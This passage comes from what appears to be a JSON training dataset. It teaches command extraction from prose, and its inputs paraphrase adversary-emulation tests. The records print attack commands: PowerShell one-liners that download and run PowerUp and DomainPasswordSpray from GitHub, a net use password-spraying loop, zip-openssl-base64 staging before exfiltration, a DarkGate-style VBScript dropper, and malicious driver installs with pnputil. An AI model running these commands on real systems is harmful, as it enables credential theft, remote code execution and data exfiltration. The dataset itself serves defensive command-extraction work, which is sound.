    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following commands can be used to discover network shares: df -aH\nsmbutil view -g //#{computer_name}\nshowmount #{computer_name}\n; For network share discovery, execute this command: smbstatus --shares",
    "output": "{\"command_list\": [\"df -aH\\nsmbutil view -g //#{computer_name}\\nshowmount #{computer_name}\\n\", \"smbstatus --shares\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To map the IPC$ share on a Domain Controller while testing authentication for users listed in %temp%\\users.txt (with Spring2020 as the test password), run this carefully to avoid account lockouts. Successful attempts show [*] username:password, while failures display a dot. The process is executed via the command: @FOR /F %n in (%temp%\\users.txt) do @echo | set/p=. & @net use %logonserver%\\IPC$ /user:\"%userdomain%\\%n\" \"#{password}\" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\\IPC$ > NUL; Using the DomainPasswordSpray tool to test the password 'Spring2017' against all domain users requires executing this PowerShell command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force",
    "output": "{\"command_list\": [\"@FOR /F %n in (%temp%\\\\users.txt) do @echo | set/p=. & @net use %logonserver%\\\\IPC$ /user:\\\"%userdomain%\\\\%n\\\" \\\"#{password}\\\" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\\\\IPC$ > NUL\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test mimics FLEXIROOT's data exfiltration technique by archiving data with standard zip compression, encrypting it via OpenSSL, and base64 encoding it, using the command sequence: \nzip -r  #{input_folder}/#{input_file}.zip #{input_folder}\nopenssl enc -aes-256-cbc -pass pass:#{enc_pass} -p -in #{input_folder}/#{input_file}.zip -out #{input_folder}/#{input_file}.enc \ncat #{input_folder}/#{input_file}.enc | base64; Using the Windows in-built binary, adversaries can compress files prior to exfiltration with the command: makecab.exe #{input_file} #{output_file}",
    "output": "{\"command_list\": [\"zip -r  #{input_folder}/#{input_file}.zip #{input_folder}\\nopenssl enc -aes-256-cbc -pass pass:#{enc_pass} -p -in #{input_folder}/#{input_file}.zip -out #{input_folder}/#{input_file}.enc \\ncat #{input_folder}/#{input_file}.enc | base64\", \"makecab.exe #{input_file} #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate DarkGate malware's second stage, create and execute a VBscript with the following command: c:\\windows\\system32\\cmd.exe /c cd /d #{script_path} & echo Set objShell = CreateObject(\"WScript.Shell\"):Set objExec = objShell.Exec(\"whoami\"):Set objExec = Nothing:Set objShell = Nothing > #{script_name}.vbs & #{script_name}.vbs; After successful execution, this test will enumerate all resources within an Azure subscription, displaying them on screen and saving the results to CSV files in a specified directory. To run it, use the following command:\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\Get-AzDomainInfo.ps1\"\n$Password = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Password\nConnect-AzAccount -Credential $Credential | out-null\nGet-AzDomainInfo -folder #{output_directory} -subscription \"#{subscription_name}\" -verbose\n",
    "output": "{\"command_list\": [\" c:\\\\windows\\\\system32\\\\cmd.exe /c cd /d #{script_path} & echo Set objShell = CreateObject(\\\"WScript.Shell\\\"):Set objExec = objShell.Exec(\\\"whoami\\\"):Set objExec = Nothing:Set objShell = Nothing > #{script_name}.vbs & #{script_name}.vbs\", \"import-module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\Get-AzDomainInfo.ps1\\\"\\n$Password = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Password\\nConnect-AzAccount -Credential $Credential | out-null\\nGet-AzDomainInfo -folder #{output_directory} -subscription \\\"#{subscription_name}\\\" -verbose\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The packet capture operation can be performed using either tcpdump or tshark (if Wireshark is available) via these commands: tcpdump -c 5 -nnni #{interface}\ntshark -c 5 -i #{interface}\n, which will capture 5 packets on the specified interface.; To capture network traffic on macOS, you can use the following command, which will utilize either tcpdump or tshark if available: sudo tcpdump -c 5 -nnni #{interface}    \nif [ -x \"$(command -v tshark)\" ]; then sudo tshark -c 5 -i #{interface}; fi;",
    "output": "{\"command_list\": [\"tcpdump -c 5 -nnni #{interface}\\ntshark -c 5 -i #{interface}\\n\", \"sudo tcpdump -c 5 -nnni #{interface}    \\nif [ -x \\\"$(command -v tshark)\\\" ]; then sudo tshark -c 5 -i #{interface}; fi;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify the system language, you can use the following command: chcp. The resulting number can be looked up to determine the corresponding language.; For checking the system language and territory information, run the command: locale.",
    "output": "{\"command_list\": [\"chcp\\n\", \"locale\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can install the driver via pnputil.exe by executing this command: pnputil.exe /add-driver \"#{driver_inf}\"; The Windows utility pnputil.exe can be exploited to install malicious drivers, which can be done by running the following command: pnputil.exe -i -a #{driver_path}",
    "output": "{\"command_list\": [\"pnputil.exe /add-driver \\\"#{driver_inf}\\\"\\n\", \"pnputil.exe -i -a #{driver_path}\\n\"]}"
  },
  {
